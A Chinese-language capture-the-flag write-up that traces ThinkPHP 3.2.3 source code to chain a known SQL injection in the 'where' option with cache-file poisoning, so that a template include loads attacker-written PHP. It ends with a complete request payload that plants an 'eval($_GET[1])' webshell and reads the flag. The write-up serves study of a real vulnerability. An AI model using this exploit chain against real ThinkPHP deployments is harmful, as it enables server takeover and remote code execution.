thinkphp3.2.3 nday到rce深度利用

前言

在前面两期中,我分别分析跟进了整个thinkphp的框架和find函数,根据以上这些信息加上一些想法和实践,最后也是发现了解题点。

START

首先我们还是把find方法放出来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
    /**  
     * 查询数据  
     * @access public  
     * @param mixed $options 表达式参数  
     * @return mixed  
     */  
    public function find($options = array())  
    {  
        if (is_numeric($options) || is_string($options)) {  
            $where[$this->getPk()] = $options;  
            $options               = array();  
            $options['where']      = $where;  
        }  
        // 根据复合主键查找记录  
        $pk = $this->getPk();  
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {  
            // 根据复合主键查询  
            $count = 0;  
            foreach (array_keys($options) as $key) {  
                if (is_int($key)) {  
                    $count++;  
                }  
  
            }  
            if (count($pk) == $count) {  
                $i = 0;  
                foreach ($pk as $field) {  
                    $where[$field] = $options[$i];  
                    unset($options[$i++]);  
                }  
                $options['where'] = $where;  
            } else {  
                return false;  
            }  
        }  
        // 总是查找一条记录  
        $options['limit'] = 1;  
        // 分析表达式  
        $options = $this->_parseOptions($options);  
        // 判断查询缓存  
        if (isset($options['cache'])) {  
            $cache = $options['cache'];  
            $key   = is_string($cache['key']) ? $cache['key'] : md5(serialize($options));  
            $data  = S($key, '', $cache);  
            if (false !== $data) {  
                $this->data = $data;  
                return $data;  
            }  
        }  
        $resultSet = $this->db->select($options);  
        if (false === $resultSet) {  
            return false;  
        }  
        if (empty($resultSet)) {  
// 查询结果为空  
            return null;  
        }  
        if (is_string($resultSet)) {  
            return $resultSet;  
        }  
  
        // 读取数据后的处理  
        $data = $this->_read_data($resultSet[0]);  
        $this->_after_find($data, $options);  
        if (!empty($this->options['result'])) {  
            return $this->returnResult($data, $this->options['result']);  
        }  
        $this->data = $data;  
        if (isset($cache)) {  
            S($key, $data, $cache);  
        }  
        return $this->data;  
    }

这里我们着重看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
        // 判断查询缓存
        if(isset($options['cache'])){
            $cache  =   $options['cache'];
            $key    =   is_string($cache['key'])?$cache['key']:md5(serialize($options));
            $data   =   S($key,'',$cache);
            if(false !== $data){
                $this->data     =   $data;
                return $data;
            }
        }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
        // 读取数据后的处理
        $data   =   $this->_read_data($resultSet[0]);
        $this->_after_find($data,$options);
        if(!empty($this->options['result'])) {
            return $this->returnResult($data,$this->options['result']);
        }
        $this->data     =   $data;
        if(isset($cache)){
            S($key,$data,$cache);
        }

两个部分,分别是从缓存取数据和存入数据的操作,因为tp3.2.3有个nday,也就是sql注入,它的where注入的原理就是污染了$options数组,也就是我们在下面写入数据中可以控制$key,$data,$cache的值,从而实现任意文件写入,但是这里有个问题,我们来到S方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    function S($name, $value = '', $options = null)
    {
        static $cache = '';
        if (is_array($options)) {
            $type = isset($options['type']) ? $options['type'] : '';
            $cache = Think\Cache::getInstance($type, $options);
        } elseif (is_array($name)) {
            $type = isset($name['type']) ? $name['type'] : '';
            $cache = Think\Cache::getInstance($type, $name);
            return $cache;
        } elseif (empty($cache)) {
            $cache = Think\Cache::getInstance();
        }
        if ('' === $value) {
            return $cache->get($name);
        } elseif (is_null($value)) {
            return $cache->rm($name);
        } else {
            if (is_array($options)) {
                $expire = isset($options['expire']) ? $options['expire'] : null;
            } else {
                $expire = is_numeric($options) ? $options : null;
            }
            return $cache->set($name, $value, $expire);
        }
    }

这里我们会走到

1
2
 if ('' === $value) {
   return $cache->get($name);

这个地方

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/**  
* 读取缓存  
* @access public  
* @param string $name 缓存变量名  
* @return mixed  
*/  
public function get($name)  
{ 
$filename = $this->filename($name);  
if (!is_file($filename)) {  
return false;  
}  
N('cache_read', 1);  
$content = file_get_contents($filename);  
if (false !== $content) {  
$expire = (int) substr($content, 8, 12);  
if (0 != $expire && time() > filemtime($filename) + $expire) {  
//缓存过期删除缓存文件  
unlink($filename);  
return false;  
}  
if (C('DATA_CACHE_CHECK')) {  
//开启数据校验  
$check = substr($content, 20, 32);  
$content = substr($content, 52, -3);  
if (md5($content) != $check) {  
//校验错误  
return false;  
}  
} else {  
$content = substr($content, 20, -3);  
}  
if (C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {  
//启用数据压缩  
$content = gzuncompress($content);  
}  
$content = unserialize($content);  
return $content;  
} else {  
return false;  
}  
}

原本的想法是可以进行unserialize从而来触发反序列化,再利用tp原来存在的一些方法来进行读取flag,但是这个地方的content是不可控的,所以这个地方就卡住了,但是我在这里发现了调用了filename的方法。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**  
* 取得变量的存储文件名  
* @access private  
* @param string $name 缓存变量名  
* @return string  
*/  
private function filename($name)  
{  
$name = md5(C('DATA_CACHE_KEY') . $name);  
if (C('DATA_CACHE_SUBDIR')) {  
// 使用子目录  
$dir = '';  
for ($i = 0; $i < C('DATA_PATH_LEVEL'); $i++) {  
$dir .= $name{$i} . '/';  
}  
if (!is_dir($this->options['temp'] . $dir)) {  
mkdir($this->options['temp'] . $dir, 0755, true);  
}  
$filename = $dir . $this->options['prefix'] . $name . '.php';  
} else {  
$filename = $this->options['prefix'] . $name . '.php';  
}  
return $this->options['temp'] . $filename;  
}

可以看见对文件进行了写入的操作,那么我们的值都可控,是不是就可以写入马子了?但是这道题专门将tp的目录隔离在了web路径访问不到的地方并且对文件名进行了加密,且web根目录无可写权限。所以这里又卡住了。

后面看见一个common~runtime.php,这个文件里面记录了所有thinkphp在运行时调用的类和函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
namespace Behavior {
    use Think\Storage;
    use Think\Think;
    class ParseTemplateBehavior
    {
        public function run(&$_data)
        {
            $engine = strtolower(C('TMPL_ENGINE_TYPE'));
            $_content = empty($_data['content']) ? $_data['file'] : $_data['content'];
            $_data['prefix'] = !empty($_data['prefix']) ? $_data['prefix'] : C('TMPL_CACHE_PREFIX');
            if ('think' == $engine) {
                if ((!empty($_data['content']) && $this->checkContentCache($_data['content'], $_data['prefix'])) || $this->checkCache($_data['file'], $_data['prefix'])) {
                    Storage::load(C('CACHE_PATH') . $_data['prefix'] . md5($_content) . C('TMPL_CACHFILE_SUFFIX'), $_data['var']);
                } else {
                    $tpl = Think::instance('Think\\Template');
                    $tpl->fetch($_content, $_data['var'], $_data['prefix']);
                }
            } else {
                if (strpos($engine, '\\')) {
                    $class = $engine;
                } else {
                    $class = 'Think\\Template\\Driver\\' . ucwords($engine);
                }
                if (class_exists($class)) {
                    $tpl = new $class;
                    $tpl->fetch($_content, $_data['var']);
                } else {
                    E(L('_NOT_SUPPORT_') . ': ' . $class);
                }
            }
        }
        protected function checkCache($tmplTemplateFile, $prefix = '')
        {
            if (!C('TMPL_CACHE_ON')) {
                return false;
            }
            $tmplCacheFile = C('CACHE_PATH') . $prefix . md5($tmplTemplateFile) . C('TMPL_CACHFILE_SUFFIX');
            if (!Storage::has($tmplCacheFile)) {
                return false;
            } elseif (filemtime($tmplTemplateFile) > Storage::get($tmplCacheFile, 'mtime')) {
                return false;
            } elseif (C('TMPL_CACHE_TIME') != 0 && time() > Storage::get($tmplCacheFile, 'mtime') + C('TMPL_CACHE_TIME')) {
                return false;
            }
            if (C('LAYOUT_ON')) {
                $layoutFile = THEME_PATH . C('LAYOUT_NAME') . C('TMPL_TEMPLATE_SUFFIX');
                if (filemtime($layoutFile) > Storage::get($tmplCacheFile, 'mtime')) {
                    return false;
                }
            }
            return true;
        }
        protected function checkContentCache($tmplContent, $prefix = '')
        {
            if (Storage::has(C('CACHE_PATH') . $prefix . md5($tmplContent) . C('TMPL_CACHFILE_SUFFIX'))) {
                return true;
            } else {
                return false;
            }
        }
    }
}

这个类的run方法,恰好也是使用了md5的content的值进行文件的命名,最后走到Storage::load其实也就是调用了文件包含的include方法。那么我们就有了思路,将cache的key的值构造成之前show函数中传入的base64_encode($content[‘content’])的值,同时将生成缓存文件路径即options[’temp’]的位置替换成C(‘CACHE_PATH’) . $_data[‘prefix’],就可以完美的进行cache的覆盖,从而让server加载我们写入的webshell缓存。

所以步骤如下:

/img/sql-rce/tp4.png
获取cid为2的content的base64的值。(不要在意其他的,都是debug时候自己加的东西)

步骤二: playload:http://192.168.43.146/N1start/tp/index.php//?s=home/index/page&cid[where]=1=0%20union%20select%20%27%0D%0Aeval($_GET[1]);//%27;&cid[cache][key]=VGhpcyBpcyB0aGUgY29udGVudCBvZiB0aGUgc2Vjb25kIGFydGljbGU=&cid[cache][temp]=../tp/Application/Runtime/Cache/Home/

/img/sql-rce/tp2.png
最后直接rce
/img/sql-rce/tp3.png
直接cat /flag即可